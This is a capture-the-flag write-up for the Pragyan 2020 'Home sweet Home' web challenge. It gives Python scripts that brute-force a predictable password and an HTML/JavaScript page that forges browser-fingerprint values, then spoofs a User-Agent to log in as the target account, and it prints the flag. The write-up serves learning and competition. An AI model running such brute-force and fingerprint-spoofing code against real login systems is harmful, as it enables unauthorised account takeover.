Home sweet Home
An user named "CruSieg" is posting messages in support of Terrorism. He has setup his Home Photography Studio where he posts images with his own camera and personal computer. Can you login as CrueSieg and remove all the posts and images before its too late?
We are provided:
- Challenge URL
- JSON file: request.json
Recon
The challenge website shows a login & registration screen.
request.json contains an image: pragyan2020_blob.jpg
$ exiftool pragyan2020_blob.jpg
File Name : pragyan2020_blob.jpg
File Size : 150 kB
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 1280
Y Resolution : 720
Image Unique ID : 720 x 1280
XMP Toolkit : Image::ExifTool 11.44
Location : Asia/Calcutta
Caption : My Home My Studio
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Website
Challenge description mentions that we need to login as CrueSieg
:
Can you login as CrueSieg and remove all the...
The registration page has logic that limits passwords.
For example: if your chosen username is test
the password must be (regex): test\d+
.
View the code here: main.js
This allows us to bruteforce CrueSieg
's password by incrementing a number.
! Public service announcement !
On the topic of incrementing numbers, we should all strive towards adopting the following code style:
javascript:
var i = 5;
var i-=-!"";
// 6
C++:
#include <iostream>
int main() {
int i = 5;
i -= -!!"";
cout << i << endl;
return 0;
}
Yes.
Bruteforce
Back to the bruteforce.
for i in range(0, 9999):
data = {
'username': 'CruSieg',
'password': f'CruSieg{i}',
'special_seq': "A",
'login': 'Login'
}
try:
URL = 'http://ctf.pragyan.org:11000/includes/login.php'
r = requests.post(URL, headers=headers, data=data,
allow_redirects=False)
r.raise_for_status()
blob = dict(r.headers)
assert "mismatch" not in blob["Location"]
print(data)
sys.exit()
except Exception as ex:
pass
The server responds with ?error=mismatch
in the Location
header when a password is invalid.
?error=unidentified
is returned when we try password CruSieg3096
.
We assume that this password is correct, and now we're missing a valid special_seq
POST parameter.
special_seq
During registration/login, a fingerprint is generated (client-side) based on several browser settings; User-agent, timezone, resolution - but also the current password.
Javascript generates a fingerprint, stores it in variable values
- and each character you enter in a password input box will create a new special_seq
.
Bruteforcing special_seq
Since the challenge provides request.json we can
see CruSieg
's User-Agent, but also a timezone set to Asia/Calcutta
from the image (EXIF).
Solution
We can generate a bunch of special_seq
values locally:
<!DOCTYPE html>
<html lang="en">
<body><pre id="results"></pre></body>
<!-- wget http://ctf.pragyan.org:11000/includes/js/fingerprintjs2/fingerprint2.js -->
<script src="fingerprint2.js"></script>
<script>
function validate(id, username, password, reso){
var values = [
// from EXIF
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/64.0.3417.92",
"not available",
"en-US", // guessing
24, // color depth
8,
24,
reso.split('x').map(Number), // resolution
[1280, 688],
-60,
"Asia/Calcutta" // from EXIF
];
var seq=[];
for(var i =0 ; i<password.length; i++){
if(Number.isInteger(parseInt(password[i]))){
seq.push(password[i]);
}
}
var elements = [];
seq.forEach(element => {
elements.push(values[element]);
});
var str = elements.join();
str = str.replace(/ +/g, "");
var murmur = Fingerprint2.x64hash128(str, 31);
document.getElementById('results').innerHTML += murmur + "\n";
}
// resolutions
let resos = ["1366x768", "1920x1080","1280x800",
"320x568", "1440x900", "1280x1024",
"320x480", "1600x900", "768x1024",
"1024x768", "1680x1050", "360x640",
"1920x1200", "720x1280", "480x800",
"1360x768", "1280x720", "2560x1440",
"3840x2160"];
for(var i = 0; i !== resos.length; i++) {
validate("loginPassword", "CrueSieg", "CruSieg3096", resos[i]);
}
</script>
</html>
Using the generated list of special_seq
fingerprint values, we can try some login attempts.
import sys
import requests
cookies = {'PHPSESSID': 'fb34245d6bde5284b5b34beb2c473db1'}
headers = {
# CrueSieg
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/64.0.3417.92'
}
specials = [
z.strip() for z in
open(
"special_seq.list", "r"
).readlines()
]
for special in specials:
print("trying", special)
data = {
'username': 'CruSieg',
'password': 'CruSieg3096',
'special_seq': special,
'login': 'Login'
}
URL = 'http://ctf.pragyan.org:11000/includes/login.php'
try:
r = requests.post(URL, headers=headers, data=data,
allow_redirects=False)
r.raise_for_status()
blob = dict(r.headers)
assert "unidentified" not in blob["Location"]
print(data)
sys.exit()
except Exception as ex:
pass
Found working special_seq
: f2664adf0d9a05d17cec8aee84e6502c
using screen resolution: 720x1280
.
Flag
After login, a flag is presented.
p_ctf{next_t1me_w0nt_be_e45y}